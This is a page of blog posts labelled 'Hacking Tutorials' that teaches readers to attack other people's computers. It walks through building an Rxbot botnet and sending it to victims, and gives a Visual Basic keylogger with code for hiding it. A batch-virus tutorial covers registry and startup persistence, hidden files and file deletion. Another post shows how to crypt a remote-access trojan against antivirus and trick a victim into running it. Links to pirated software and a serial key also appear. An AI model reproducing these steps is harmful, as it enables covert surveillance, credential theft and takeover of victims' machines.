How to make a botnet [full tut]
A botnet can be used to keylog computers, capture screen shots, turn on webcam and take pictures, get cdkeys, get passwords, perform DDoS attacks, run commands, open sites, basically anything really..
Here we go ladies and gentlemen.
Follow the tutorial:
-----------------------------
I. Setting up the C++ compilier: (easy)
1. Download Microsoft Visual C++ 6.0 Standard Edition
here -
http://rapidshare.com/files/125980189/msc__.rar.html
Pass: itzforblitz
Serial: 812-2224558
2. Run setup.exe and install. Remember to input serial
3. Download and install Service Pack 6
here -
http://rapidshare.com/files/125983507/Vs6sp6.rar
NOTE: Replace Mcft with Micro.soft (do not include the ".")
4. After that Download and install the Windows Platform SDK:
here - http://rapidshare.com/files/125983830/sdk.rar
Pass: itzforblitz
-------------------------------------
II. Configuring the C++ compilier (easy)
1. Open up Microsoft Visual C++ Compilier 6.0
2. Go to Tools > Options and Click the "Directories" tab
3. Now, browse to these directories and add them to the list: (Click the dotted box to add)
Code:
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE
C:\PROGRAM FILES\MICROSOFRT PLATFORM SDK\LIB
4. Now put them in this order: (use up and down arrows)
(it does not matter whats below those lines)
---------------------------------------
III. Configuring your bot: (easy)
1. Download and unpack: This botsource:
here - http://rapidshare.com/files/125984396/botnetsorce.rar
2. You should see an Rxbot 7.6 folder
3. Open the Rxbot 7.6 > configs.h folder and edit these lines only:
Put in quotations:
Code:
char password[] = "Bot_login_pass"; // bot password (Ex: monkey)
char server[] = "aenigma.gotd.org"; // server (Ex: irc.efnet.net)
char serverpass[] = ""; // server password (not usually needed)
char channel[] = "#botz_channel"; // channel that the bot should join
char chanpass[] = "My_channel_pass"; // channel password
Optional:
Code:
char server2[] = ""; // backup server
char channel2[] = ""; // backup channel
char chanpass2[] = ""; //Backup channel pass
-----------------------------------
IV. Building your bot: (very easy)
1. Make sure Microsoft Visual C++ is open
2. Select "File > Open Workspace"
3. Browse to your Rxbot 7.6 folder and open the rBot.dsw file
4. Right Click "rBot Files" and click Build:
5. rBot.exe will be in the Rxbot 7.6 > Debug folder !!!
YOUR DONE !!!! Now get the rbot and pack it (Use tool in third post and open rbot and click "Protect" and send it to some idiots, Some good ways are: Torrents, AIM, Friends, Myspace, School computers, and P2P but there are more ways. ENJOY !
-------------------------------------
Command list
download here -
http://rapidshare.com/files/125984564/cmands.rar
Basics:
.login botpassword will login bots
.logout will logout bots
.keylog on will turn keylogger on
.getcdkeys will retrieve cdkeys.
Read command list for more
-----------------------------------
Download mIRC
here - http://rapidshare.com/files/125984723/mirc632.rar
--------------------------------------------------------------------------------------------
How to secure your bots:
Don't be an idiot, it is easy to steal bots. All you need is the irc server address and maybe a key.
To steal bots, watch for the @login key one must upload their bot to a direct link (tdotnetwork is execellent)
and update the channel topic and run:
Code:
@update hxxp://mybot.com/download/SMSPRO.exe 82
To secure your self:
It is fairly easy to secure your bots, here is how:
1. When you are in your right click on your chat window and select "Channel Modes"
2. Make sure these options are checked:
secret and private also key (xxxx)
This way no one besides you or another op can set the channel topic Smile
Remember to make your key the same as your channel password.
------------------------------------------------------------------------
Good IRC Servers:
irc.wotnet.com is bot friendly as long as the bots do not harm the server or other users
and Zerofusion (look in mIRC) is bot friendly.
If you would like to setup a botnet on a certain server, do not intrude and make one. Talk to the admin and make sure he know that the IRC server is not doing anything illegal. If an Admin refuses, don't get angry. It is his/her server after all.
------------------------------------------------------------------------
End of tutorial
8:43 AM | Labels: Hacking Tutorials | 0 Comments
Make ur own keylogger
by SkZ
Well this might be usefull for some of you, depending on your Persona of keyloggers. You say you want to make your own, or interested on how to go about doing so, let me give you hand.. I will show you how .
Ok...I am assuming that you have a basic understanding as to how visual basic works and how to make programs, debug, and compile.
Ok. Open VB and start a new application. Add to the form a button, a timer, and a module(I know the module isn't actually part of the form). Thats all. Change there caption of the button to Start Logging
(if you want to make it start on startup...pm me or email me)
Now using api guide or just copying from here, declare a new function. the GetASyncKeyState function.
1: Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState"
2: (ByVal vKey As Long) As Integer
That is all one line of code. Make sure its like that. and not split in 2.
Now you have a new function to use through your program.
ok...
Now we must make it be "invisible". Now im sorry but in Windows XP, I do not know how to remove it from the "processes" section of the Task Manager. But Other than that...its invisible.
OK. In the button code..., in the click event of course...
type the following
1: app.taskvisible = false
2:form1.visible = false
3:form1.hide
4:timer1.enabled = true
Now when we click the button...it goes invisible.
Now we are going to need some variables....
Back in the declarations section declare the following...
1: Dim strLetter as String, strTotal as String
also set the interval to 1 and enabled to false
1: Private Sub Timer1_Timer()
2:
3:For I = 28 To 128
4:If GetAsyncKeyState <> 0 Then
5:
6:strLetter = Chr(I)
7:
8:
9:
10:'Now here you can add certain things
11:'so that instead of displaying
12:'retarded characters, it tells you
13:'what the user pressed. What I mean
14:'is if they press Enter/Return, it will
15:'Show some weird box. You dont want that
16:'so u make a select case about I for each
17:'button u want to customize. PM me or Email
18:'me for help on this part.
19:
20:
21:strTotal = strTotal & strLetter
22:
23:
24:End If
25:
26:Next I
27:
28: open "C:\Windows\SysResources.DAT" for output as #1
29:Print #1, strTotal
30:close #1
31:
32:End Sub
33:
34:
35:'End Code
36:
37:
Ahh, hope you all are keeping up with me so far .. ... One last thing for all the noobies out there, here's it is in lamen terms.
1:'BEGINNING
2: Dim strLetter As String, strTotal As String, old as string
3:Private Sub Command1_Click()
4:Timer1.Enabled = True
5:End Sub
6:Private Sub Form_Load()
7:Command1.Caption = "Start Loggin"
8:Timer1.Enabled = False
9:Timer1.Interval = 1
10:End Sub
11:Private Sub Timer1_Timer()
12:For I = 28 To 128 'ASCII code
13:If GetAsyncKeyState <> 0 Then
13:strLetter = Chr(I)
14:End If
15:If strletter <> Old Then
16:Old = strletter
17:strTotal = strTotal & old
18:End If
19:Next I
20:Open "C:\windows\SysResources.dat" For Output As #1
21:Print #1, strTotal
22:Close #1
23:End Sub
24:'ENDING
NOTE: Well there it is I hope you all enjoy. ...
PSS:Now we must make it be "invisible". Now im sorry but in Windows XP, I do not know how to remove it from the "processes" section of the Task Manager. But Other than that...its invisible.
12:11 PM | Labels: Hacking Tutorials | 0 Comments
Hacking Flash arcades
Requirements:
1. Firefox
2. Tamper Data addon
3. A website with an arcade NOT HERE.
Steps:
1. Go to the game that you want to hack and start it up.
http://i202.photobucket.com/albums/a...sfb/tut1-1.jpg
2. Lose on the game or wait until the time runs out
http://i202.photobucket.com/albums/a...titled-1-7.jpg
3. Open Up tamper data then click "Start Tamper" Then on the game press submit score.
| Click this bar to view the full image. |
4.A box pops up then click Tamper
| Click this bar to view the full image. |
5. A box pops up look on the right for parameter value and look threw the text for "gscore"
| Click this bar to view the full image. |
6. change it to what you want and click ok
YOU HAVE SUCCESSFULLY HACKED A SCORE
12:10 PM | Labels: Hacking Tutorials | 0 Comments
Cracking xxx passes
This summary is not available. Please click here to view the post.
12:09 PM | Labels: Hacking Tutorials | 0 Comments
200 hacking tutorials
-[ How to rip Dynamic Flash Template ]-.txt
10 reasons why PCs crash U must Know.txt
10 Security Enhancements.txt
16x Dvd+-rw Dl Dvd Writer Comparison Guide.txt
20 Great Google Secrets.txt
23 Ways To Speed WinXP, Not only Defrag.txt
250+ Tech books online.txt
2600 Hertz Single Tone Generator Schematic.txt
36 Graphics & Design Ebooks.txt
8 People Can Use The Same Msn Dial Up Account.txt
A Basic Guide to the Internet.txt
A Basic UNIX Overview.rtf
A BEGINNERS GUIDE TO Hacking Unix.txt
A Cracking Tutorial
A Guide to Internet Security- Becoming an Uebercracker.txt
A Guide to the Easiest Hacking there is.txt
A List of every TeleNet code that there is.txt
A List Of Government BBS Numbers.txt
A List Of Some OF The Most Useful UNIX Hacking Commands.htm
A Novice's Guide to Hacking 2004.txt
A Novice's Guide To Hacking.txt
A Short HACKER SPEAK Glossary.txt
A simple TCP spoofing attack.txt
A Small Guide to Hacking HOTMAIL.txt
A UNIX Hacking Tutorial.txt
A very small tut for RealMedia.txt
A Web Standards Checklist, How to make a proper website.txt
Accessing the bindery files directly.txt
Accessing The Entire Internet On Your 3 Phone, U8110, E616 etc..txt
Advanced Shellcoding Techniques.txt
All about ftp must read.txt
All About Movie Tags (what Is A Dvdrip, Cam Etc.).txt
ALL About Spyware.txt
All mIRC Commands.txt
Almost Everything You Ever Wanted To Know About Security (but.txt
An Architectural Overview of UNIX Network Security.htm
An Extensive Guide to Bell System Man Holes.txt
An Indepth Guide in Hacking UNIX and the concept of Basic Net.txt
An Introduction into TeleScan.txt
An Introduction to Denial of Service.txt
An Introduction to the Computer Underground.txt
An Introductory Guide To TeleNet Commands.txt
Anarchist Cookbook 2004
Anonymity complete GUIDE.rtf
Anonymity of Proxy, Anonymity Of Proxy learn it insideout.txt
Anonymity.txt
ANONYMOUS emails.txt
Anonymous FTP FAQ.htm
ANSIBombs II Tips And Techniques.txt
anti leech hacking tutorial.txt
Area Codes and Time Zones.txt
attacks on networks how to stop.htm
Auto End Tasks to Enable a Proper Shutdown, Win XP Tweak.txt
Automatic Windows Installation, No keypress required!.txt
B.A. regedit.txt
Backdoor.txt
Backdoors.txt
Backtracking EMAIL Messages.txt
Bandwidth Explained!.txt
Basic Networking.txt
BBS CRASHING TECHNIQUES.txt
Becoming A Phreaker - The Quick n' Easy Way.txt
Beep Code Manual.txt
Beep Codes Error Codes.txt
Bell Hell Volume #1.txt
Bell Hell Volume #2.txt
Best Keyboard Shortcuts.txt
Big Brother And Ndisuio.sys, A new Internet phenomenon.txt
Bin & Cue Simple Tut.txt
BIOS Update Procedure.txt
Bit Torrent Tutorials.txt
Block Adservers.txt
Boot Block Recovery For Free.txt
Boot Winxp Fast.txt
Border And Text Effects In Psp8, For use with PSP8.txt
Breaker B0X.txt
Broken Ie, How to fix it.txt
BRUTE- A brute force approach to hacking Unix passwords.txt
Bulk Editing Of .xxx to .zip or .mp3.txt
BulletProof FTP Server Tutorial.txt
Burn .bin file Without A .cue file.txt
Burn a BIN without a CUE using NERO.txt
Burning Bin & Cue Using Nero.txt
Bust Avoidance For Dipshits.txt
busybox.txt
Bypass Internet Censorship.txt
Calculating Offsets.txt
cannot use my password to get back into Windows XP.txt
Cant See Secure Sites.txt
Caught A Virus.txt
Cellular Listening with a TV .txt
Cellular Telephone Phreaking Phile Series VOL 1.txt
Change Music In The Malibu And The Pole Position, GTA Vice Modders.txt
Change Text on XP Start Button.rtf
Change Text on XP Start Button.txt
Change The Default Location For Installing Apps.txt
Change The Storage Location Of 'my Documents', a bit safer for when your PC crashes....txt
Change Your Ip In Less Then 1 Minute.txt
Changing Default Location For Installing Apps.txt
Check For Dos, Check to see if you are infected..txt
Choosing A Good Domain Name, ya..good name is important!.txt
Choosing An Internet Merchant Account, nice info on Internet Merchant Account...txt
Clear Unwanted Items From Add And Remove.txt
Closing Open Holes, System Security How to close open holes.txt
Closing the Net.txt
CMD Prompt here, add to folder context menu windows xp.txt
COMMON FTP ERROR CODES.txt
Compression and Cracks for Dummies.txt
Computer Acronyms.txt
Computer Bulliten Boards and the Law.txt
Computer Chrime - Current Practices, Problems and Proposed So.txt
Computer eMail and Privacy.txt
Computer Hackers News Articles.txt
Computer Matinence.txt
Computer Rights vs First and Forth Amentment Right.txt
Computer Security.txt
Computer Security_2.txt
Computer Viruii.txt
Computerized Governmental Database Systems Containing Persona.txt
Configuring ZoneAlarm Pro Security Settings, A ZoneAlarm Pro Tutorial.txt
connect A Psx Pad To Pc, Warning soldering is involved...txt
Convert Stubborn Webpage To pdf.txt
Convert To Basic And Dynamic Disks In Windows Xp.txt
Converting Movies To Psp Format.txt
Converting to NTFS.txt
COPS and Robbers-Unix System Security.txt
COPY X BOX GAMES!.txt
Copyright Guides for Photographers.txt
Cracking Bios, use the followin' code.txt
Cracking Zip Password Files.txt
Crap Software Config Settings, How to set-up the firewall.txt
Crash Course in X Windows Security.txt
Create A Huge File.txt
Create A Personal Screen Saver In Win Xp!.txt
Create An Ftp Server On Your Pc With Serv-u.txt
Create Bootable Win XP SP1 CD(nero).txt
Create Bootable XP SP integrated CD.txt
Create One-click Shutdown And Reboot Shortcuts.txt
Creating a Board aka Forum on your own PC !.rtf
Creating Universal Ghost Usb Boot Disk And Cd.txt
Crime and Puzzlement.txt
Cultural Formations in Text-Based Virtual Realties.txt
Cyberspace and the Legal Matrix- Laws or Confusion.txt
Dark Angel's Phunky Virus Writing Guide .txt
Data Capacity of CDs [Tutorial].txt
Debug, Learn how crack windows.txt
Defamation Liability of Computerized Bulliten Board Operators.txt
Delete An undeletable File.txt
Hacking Techniques.txt
Hacking TRW.txt
Hacking TYMNET.txt
Hacking Unix System V's.txt
Hacking VoiceMail Systems.txt
Hacking Wal-Mart Computers.txt
Hacking Webpages.txt
Hard drive Gone Bad.txt
Hardware Firewall.txt
Have Notepad In Send To.txt
have satallite tv for almost free IF not free!!!.txt
Hex, How to turn binary or decimal to hex.txt
Hide Drives and Partitions.txt
How 2 Find EVERYTHING uploaded on Rapidshare.txt
How BT phone cards works.txt
How do I overburn a CD with Nero.txt
How do I remove an extra operating system from by.txt
How do I Test My VirusScan Installation.txt
How Do U See Hidden Files, Using DOS...txt
How Download MP3s from Fanscape.com or other Streaming Audio-Video.txt
How Linux boots.txt
How Long Has Your XP System Been Running.txt
How Phone Phreaks are Caught.txt
How the Traditional Media Clasifications Fail to Protect in t.txt
How To Access Your Folders From Your Taskbar.txt
How To Add A Url Address Bar To The Taskbar.txt
How To Add An Option To Print, the Contents of a Folder!.txt
How To Add Your Own Windows Tips.txt
Speeding up your internet connection under Linux and Windows.html
Spoofing emails, via telenet.txt
Standard ASCII Character Set.txt
Steps to Clean Install XP.txt
Stop A Restart Process In 3steps.txt
Stop Annoying Pop-ups Without Pop-up Blockersoutli.txt
Summary of FBI Computer Systems.txt
SUNDEVIL.TXT
SUPREM~1.TXT
System Changes To Foil Hackers And Browser Hijacke.txt
System File Checker For Windows Xp.txt
TCP packet fragment attacks against firewalls and filters.txt
Tcpip A Mammoth Description, Short and easy-Everything U want to know.txt
Telenet-The Secret Exposed.txt
telnet trick port 25.doc
Testing Wattage Consumption Of Your Computer, Measuring your computer's wattage.txt
The ABC's of Payphones part 1.txt
The ABC's of Payphones part 2.txt
The ABC's of Payphones part 3.txt
The ABC's of Payphones part 4.txt
The Antivirus Defense-in-Depth Guide.txt
The Basics of Hacking- Introduction.txt
The Baudy World of the Byte Bandit-A Postmodernist Interpreta.txt
ThE Beige BoX .txt
The Constitution in Cyberspace.txt
The Cracking Manual.txt
The difference between DVD-R, DVD+R, DVD+RW and DVD-RW.txt
The Electronic Communication Privacy Act of 1986 - A Laymans .txt
The Greatest Hacker of all time.ASC
The Hacker's League.txt
The History of British Phreaking.htm
The Inner Circle Book's Hacking Techniques.txt
The Lamahs-Guide to Pirating Software on the Internet.txt
The M.M.C. Guide to Hacking, Phreaking, Carding.txt
The Modern Phreakers Guide To Beige Boxing.txt
The Modern Phreakers Guide To Payphones.txt
The Moterola Bible.txt
The Myth of the 2600Hz Detector .txt
The National Information Infrastructure-Agenda for Action.txt
The Newbies Handbook- ' How to beging in the World of Hacking.txt
The Newbies-User's Guide to Hacking.txt
The Official Phreaker's Manual.txt
The Phreakers Handbook-1.txt
The Port Guide, Port number and info.txt
The Pre-History of Cyberspace.txt
The Price of Copyright Violation.txt
The REAL way to hack RemoteAccess.txt
The Secret Service, UUCP,and The Legion of Doom.txt
The Telephone Works.txt
The Ultimate Guide To Installing Windows Xp Sp2.txt
The Ultimate Phreaking Guide .txt
the UNIX operating system (Berkley 4.2).txt
Theft of Computer Software-A National Security Threat.txt
Thoughts on the National Research and Education Network.txt
Three Ways Of Bypass Starforce Cd Protection.txt
Tip for shutdown windows - virus.txt
Tips And Tricks, Windows XP.txt
Tips on Starting Your Own BBS.1
Tired Of Reinstalling Windows.txt
To Get And Show The Ip Via Javascript.txt
Top 5 Myths About Safe Surfing, PC Magazine.txt
Transferring Data.txt
Translating Binary To Text.txt
Translating Binary to Text2.txt
Trojan Ports.txt
Turn MSN Messenger Display Pix into User Pix on XP.txt
Winxp System Response, reboot whitout rebooting.txt
Winxp Tips And Tricks, Winsock 2 repair.txt
Xp Auto Install.txt
Xp Folder View Does Not Stay To You're Setting., Grab your registry editor and join in.txt
XP REPAIR INSTALL.txt
XP Tweaking.txt
Yahoo + geocities Posts.txt
Yahoo Chat Commands how to.rtf
Yahoo Messeger, no ad's.txt
You Want Lots Of Music, Appz, Anything, Try Dex Hunting.txt
Your Home Page Nevr Being Changed.txt
Your Own Home Server - Introduction.txt
Zen and the Art of Fone Phreaking `97 .txt
http://rapidshare.com/files/119890717/200_Hacking_Tutorials.rar
12:07 PM | Labels: Hacking Tutorials | 0 Comments
How to make a batch virus [Tutorial]
--------------------------
A noobs guide to:
How to make a batch virus
Part1
--------------------------
I made this tutorial with ms word for windows 98 users,
but most of the information here will work on all window versions.
--------------------------
This tutorial is for educational purposes only and is not to be used in any illegal way. The author of this tutorial/website is not responsible for any damage caused by this tutorial. No one is forcing you to read this so if you do not accept the terms of this disclaimer please leave the site now.
You can send this tutorial to your friends or put it on your website as long as you keep the title box with the name "netkid03" on it and do not modify it. Use it for to educate you and others in computers, and don’t use it in any other way.
--------------------------
Introduction
Ok, so you want to make a virus? Well batch is the easiest language to use. Below is a definition of batch and virus so you know exactly what this tutorial is about.
http://www.webopedia.com/TERM/B/batch_file.html
“A file that contains a sequence, or batch, of commands. Batch files are useful for storing sets of commands that are always executed together because you can simply enter the name of the batch file instead of entering each command individually.
In DOS systems, batch files end with a.BAT extension. For example, the following DOS batch file prints the date and time and sets the prompt to GO>:
date
time
prompt [GO>]
Whenever you boot a DOS -based computer, the system automatically executes the batch file named AUTOEXEC.BAT, if it exists.
Many operating systems use the terms command file or shell script in place of batch file.”
http://www.webopedia.com/TERM/v/virus.html
“A program or piece of code that is loaded onto your computer without your knowledge and runs against your wishes. Viruses can also replicate themselves. All computer viruses are manmade. A simple virus that can make a copy of itself over and over again is relatively easy to produce. Even such a simple virus is dangerous because it will quickly use all available memory and bring the system to a halt. An even more dangerous type of virus is one capable of transmitting itself across networks and bypassing security systems.
Since 1987, when a virus infected ARPANET, a large network used by the Defence Department and many universities, many antivirus programs have become available. These programs periodically check your computer system for the best-known types of viruses.
Some people distinguish between general viruses and worms. A worm is a special type of virus that can replicate itself and use memory, but cannot attach itself to other programs.”
So now you know what a batch file is and what a virus is I will explain what a batch virus is.
“A batch virus is a simple program that uses dos commands and runs in a dos prompt window. It is run as soon as the user opens it and can be set to run when your victim starts up their p.c. It causes damage to the victims computer and in some cases can spread to other computers.”
From the Beginning
Ok in this I will describe some basic dos commands and how to use them. Firstly open a text editor (I think notepad is the best text editor to use and it comes free with windows, click start run and type in notepad) Ok now this tool is were you will be making all your batch files from now on. If your are use to using dos then this should be easy for you as most of the commands are simply dos commands. Now type this in your text editor:
CODE
@echo off
echo Hello I’m your first batch file
Now save the file as “Untitled.bat” (you must save all your batch files as .bat for them to work).
Open the file you have just created and you should see a dos prompt box put up that says, Hello I’m your first batch file, now I’m going to explain line by line how this code works. The first line (@echo off) is used to turn echo off which basically means it doesn’t display everything else that is going on but just shows things you have chosen to display on screen. You may be wondering why it’s @echo off and not just echo off well the ‘@’ turns echo off just for the line you have put it on so it stops the dos prompt box from displaying ‘echo off’ you can test this code for your self without the @echo off to see what I mean. The second line uses the ‘echo’ command to display ‘Hello I’m your first batch file to the screen’ when ever you want to display text you need to use the echo command, it will not work if you don’t! Well done you (hopefully) have just made and understood your first batch program, (that wasn’t so hard was it?)
Laying out your batch files
If your code doesn’t work but it’s laid out neatly you will be able to quickly find the problem and fix it. A good way to lay out you code is to use labels and the ‘goto’ command here is an example of how to use labels/goto command
CODE
@echo off
:start
echo hello
goto next
:next
echo this text is in the ‘next’ secton
goto end
:end
echo and this code is in the ‘end’ section
This is a simple batch file using labels and goto commands. The labels start off with colon (smile.gif and the goto commands are simply
‘goto (the name of your label)’. Note: you do not need to use a colon in goto commands. You don’t have to put your labelled sections in order, the code would work exactly the same if the ‘end’ section was in-between the ‘start’ and ‘next’ section. This is because the goto commands tell the code exactly were it should go next. It would be useful if you experiment with this and see what happens when you switch them round.
Loops
But this isn’t all you can do with the goto command. One of the main uses of labels and using the goto command are loops. Loops are pices of code that keep repeating them self in a loop. E.g.
CODE
@echo off
:loop
echo I’m a loop
goto loop
The result of that simple code is show below…
You can place anything in a loop and it will keep going forever (or until the computer crashes).
The If, elif and else commands
So now you know how to make a basic loop, but what if you wanted your loop to keep going until something happens and then do something else? Well you could place a if command in the loop, this will make the loop keep going but if something happens then it will go somewhere else in your code. So lets add to are loop we made before.
CODE
@echo off
:loop
if exist c:\AutoExec.bat goto autoexec
else
echo You don’t have autoexe
goto loop
:autoexec
echo you have autoexec
goto loop
I compiled it (made it into a batch file) and opened it and this is what happened.
If you want to use else and if combined then you can use the elif command. Here is an example:
CODE
@echo off
:loop
if exist c:\AutoExec.bat goto autoexec
elif exist c:\windows goto windows
else
echo You don’t have autoexec.bat and you don’t have a windows folder
goto loop
:autoexec
echo you have autoexec
goto loop
:autoexec
echo you have a windows folder but you don’t have autoexec.bat
goto loop
autoexec and startup
To make a successful virus it’s a good idea to make the virus startup when your victim turns on there computer. This will keep there computer infected and make it harder for them to remove. There are a number of ways you can do this. Firstly you could add your virus code to the end of autoexec.bat. In windows autoexec starts up before windows loads. There are some advantages and some disadvantages to this. The main advantage is it’s one of the first files there computer will load and the main disadvantage is it loads before windows meaning any window commands like opening up a windows file or anything like that wont work. To add your virus to the end of autoexec simply type this somewhere in your batch file:
CODE
echo copy %0 >> c:\autoexec.bat
%0 will automatically replace itself with your viruses root/name which means it doesn’t mater were your victim downloads/moves your virus will still work. If you want to copy a different batch file to autoexec then just use this code:
CODE
echo copy C:\filename\batchfile.bat >> c:\autoexec.bat
just replace “C:\filename\batchfile.bat” with the root to a batch file. If you don’t want to copy your whole batch virus to autoexec and just want to copy a few commands then you can use this code:
CODE
echo rem this is were you type what you want to copy >> c:\autoexec.bat
just replace “rem this is were you type what you want to copy” with any batch commands you want to put on the end of autoexec.
So, now you know how to add your virus to autoexec I will show you another way. Using the windows startup folder. This method also has some disadvantages and advantages. The main advantage is you can use all batch commands in it and open windows programs, the main disadvantage is it is easy for your victim to remove your virus from the startup folder as it is in there start menu. To add your code to this folder simply add this to your batch file:
CODE
copy %0 c:\windows\startm~1\Programs\StartUp\whateveryouwa nt.bat
You can change “whateveryouwant.bat” to whatever you want your file to be called and you can change c:\windows\startm~1\program\startup to anywhere else you want to copy your virus. You can also make your virus a bit more hidden by adding this
CODE
Attrib +r +h C:\windows\startm~1\program\startup\whateveryouwan t.bat
after you have copied your virus to the startup folder. This will make your virus hidden and read-only.
There is one more way that I will show you, this (in my opinion) is the best out of the three (it’s also the hardest). This method wills startup your virus when windows loads and it will do it far sneakier/effective than the other two ways I have shown you. We are going to write a key to your victims’ computers registry, which will startup your program when windows loads. To do this we are going to ‘drop’ and open a reg file in the batch file. Here is the code you will need to add to your batch file:
CODE
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run] >> c:\regstart.reg
echo "systemStart"="c:\ filename\batchfile.bat" >> c:\regstart.reg
start c:\regstart.reg
This code writes two lines to a reg file which it then open and therefore edits the registry. If you are not familiar with the registry then don’t worry about this method.
Deleting files in batch
Ok, this is the first destructive command we have come across so far (you can see how this will come in handy). Simply type del and then the name/path to what you want to delete E.g.
CODE
@echo off
rem deleting ms paint
del C:\Progra~1\Accessories\MSPAINT.EXE
In this piece of code I have once again used the @echo off command (so your victim cannot see that your deleting things from hid HD). Next I have used the rem command, this is used to add a comments (remarks) these will not display on the screen (if you used the echo off command like above) and have no effect on the code. I recommend using remarks so that when you look back at your code you know what you were trying to do and it will be a lot easier to edit. The last line uses the delete command and then the path to ms paint (note: you cannot have any spaces in any paths you use. If you come across a path with spaces (like c:\program files) then change it to a six letter word with no spaces (c:\Progra) then add ~1 to the end of the 6 letter word (c:\progra~1)).
12:06 PM | Labels: Hacking Tutorials | 0 Comments
A noob proof tutorial on remote hacking
A noob proof tutorial on remote hacking which is 90% undetectable
In this tutorial you will learn how to hack a computer any where in the world. Ok well not anywhere obviously things like the military and the goverment will have very high security so you definately wont be able 2 hack them using this method. I hope not aniways =\.
A Major Notice If you are behind a router you will need to port forward your router. To do this you can use a DMS. Its hard to explain as every router has a different interface ( homepage that has a different layout ) so i suggest you go to google and search portforward.com. It will teach you how to port forward your router there.
Ok to begin with you will need these three tools:
Daemon Crypt -
http://rapidshare.com/files/8161346/Daemon_Crypt.rar
http://rapidshare.com/files/11136172/PC_GUard.rar
http://rapidshare.com/files/8161510/Yuri_Rat.rar
Wouldnt lemme put images
You should now have the following the screen
| Click this bar to view the full image. |
In this screen I want you to put your IP address into the DNS/IP section.
To get IP Address go to Start > Run > Type CMD and hit enter. When the black box appears type in IPCONFIG. You will then have your IP Address
Port: You Can Leave As Default (-7898-)
Assigned Name: Doesn’t effect how the server will work its just to keep you more organized so if you wanted to hack your friend “JOE†and specifically make this server for him then you may want to type something like “JOES TROJANâ€.
Server Install Name: You should leave this as default as I myself don’t know what the difference is as every server you make is named server when it is 1st created anyway. Do not change it as it may make problems but I am not sure.
Ok as you can see there are more settings on the right hand side. I am going to recommend you settings for different purposes
To Hack A Friend For Fun: Uncheck Everything Unless You Want To Do Optional
(OPTIONAL) Melt Server - Your server will disappear into another folder
(OPTIONAL) Custom Icon if you want to make it more believable or something then get an icon of super Mario or something you get my drift
To Find Out Valuable Information: Check Everything
Ok Now You Are Finished Click Build
Your server will then be saved to your C:\ or Hard Drive which ever you know it as. Now we are going to make the server about 90% Undetectable. Only once has one of my servers been detected by an anti virus and I think it was a Norton not sure which version. Ive scanned more then once with Kasper Sky & Symantec Anti Virus and every time they said its clean so lets begin
Open Up Daemon Crypt
Select Your File by clicking browse and going to the folder your server is in. If you have not moved it, it will most likely be in C:\
So Now You Have This
Click On Crypt and then you can close Daemon Tools
Now Install Your Pc Guard for Win32
When you open it you should get this
| Click this bar to view the full image. |
Ok you have to do basically the same thing as what you did with daemon tools. Click Browse and then find your server so that you have this
Wouldnt lemme put images
You then want to click on the General Settings and put these settings
| Click this bar to view the full image. |
Ok now you want to go to customization and make sure nothing is ticked
Wouldnt lemme put images
For the last step you want to click the protection methods tab and set it to plain. And then click on protect
Wouldnt lemme put images
Your server is now undetectable =)
Ok so now we have our server and everything is ready to go. Only thing now is to do some social engineering. Basically just lie to your friend/victim and tell them that it is a harmless file. If you do not know anything about your victim talk 2 him for like 3 days find out what he likes. Then lets say he likes football and naked women XD. say to him its a funny game where you play a 5minute 2D football match and if you win a sexc girl comes up on the screen and strips or something along them lines. Im not to good at social engineering. You could even say to your friend/victim that it is a patch for a game that you know that they have and it adds on extra things. The Server is now on there computer and they have double clicked it. If you checked the melt server option then the server will basically evaporate into their computer. They say hey its not working you say hey thats strange it works on my comp. Ahh ~censored~ it i cant b bothered 2 send it again..
Ok so now you have the server running on there comp and it has opened up the default port for you to connect to.
Once again open Yuri Rat and click on listen. Yuri rat will then listen for your online servers that you have gave to people running on the default port 7898. If the person who you sent the rat to is not online you cant connect. When the server you sent out to your friend/victim a balloon notification will pop up. Note that yuri rat should still be listening for the servers. The server will show up in yuri rat. You right click and press connect. And there you go. you are now successfully connected to your victim
Wouldnt lemme put images
Ok now without uploading plug ins from yuri rat to your friends/victims computer you will only be able to do limited things with the program which are Download files from there comp & put files from your comp onto their comp.
When you are connected click on plug ins and them upload all of them.
You will then have access to keyloggers, screen capture and muc more. If you get stuck click on the help button and it wil tel you more aout plug ins
Enjoy ...
12:05 PM | Labels: Hacking Tutorials | 0 Comments
How to by Pass Rapishares Wait Time
This was not made by me at all.
Here are some methods for doing this:
1. Short-Out the javascript:
1. Goto the page you want to download
2. Select FREE button
3. In the address bar put the following: javascript:alert(c=0)
4. Click OK
5. Click OK to the pop-up box
6. Enter the captcha
7. Download Your File
2. Request a new IP address from your ISP server.
Here's how to do it in windows:
1. Click Start
2. Click run
3. In the run box type cmd.exe and click OK
4. When the command prompt opens type the following. ENTER after each new line.
ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit
5. Erase your cookies in whatever browser you are using.
6. Try the rapidshare download again.
Frequently you will be assigned a new IP address when this happens. Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work. To be honest, I do not know how to do this in linux/unix/etc. If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.
3. Use a proxy with SwitchProxy and Firefox:
1. Download and install Firefox if you have not already
2. Download and install SwitchProxy
3. Google for free proxies
4. When you hit your download limit, clean your cookies and change your proxy
4. Use an anonymous service:
Running your system through the tor network should in theory work; however, it is difficult to use and setup. Plus, you allow others to run their evil deeds through your system as well by using this system. Anonymizer 2005 is inexpensive, easy to use, but not free. Other pay services would likely work as well.
5. You can use a bookmarklet to stop your wait times:
1. Open IE
2. Right Click On This Link
3. Select Add to Favorites
4. Select Yes to the warning that the bookmark may be unsafe.
5. Name it "RapidShare No Wait"
6. Click on the Links folder (if you want to display it in your IE toolbar)
7. Click OK
8. You may need to close and reopen IE to see it
9. Goto rapidshare and click the bookmarklet when you are forced to wait
12:04 PM | Labels: Hacking Tutorials | 0 Comments
SQL Injection Attacks
...::SQL Injection Attacks::...
::What is SQL Injection?::
-SQL Injection is defined by
http://www.h-spot.net/threat_glossary.htm
::Background Information::
-It is considered the most common web vulnerability today
-It's a flaw in the web application--not the db, or the server
-Can be injected into: Cookies, Forms, and URL parameters
::Lesson Facts::
-This lesson uses MySQL syntax for all examples.
-This lesson does not provide reasons for why sites are vulnerable, simply how to exploit them
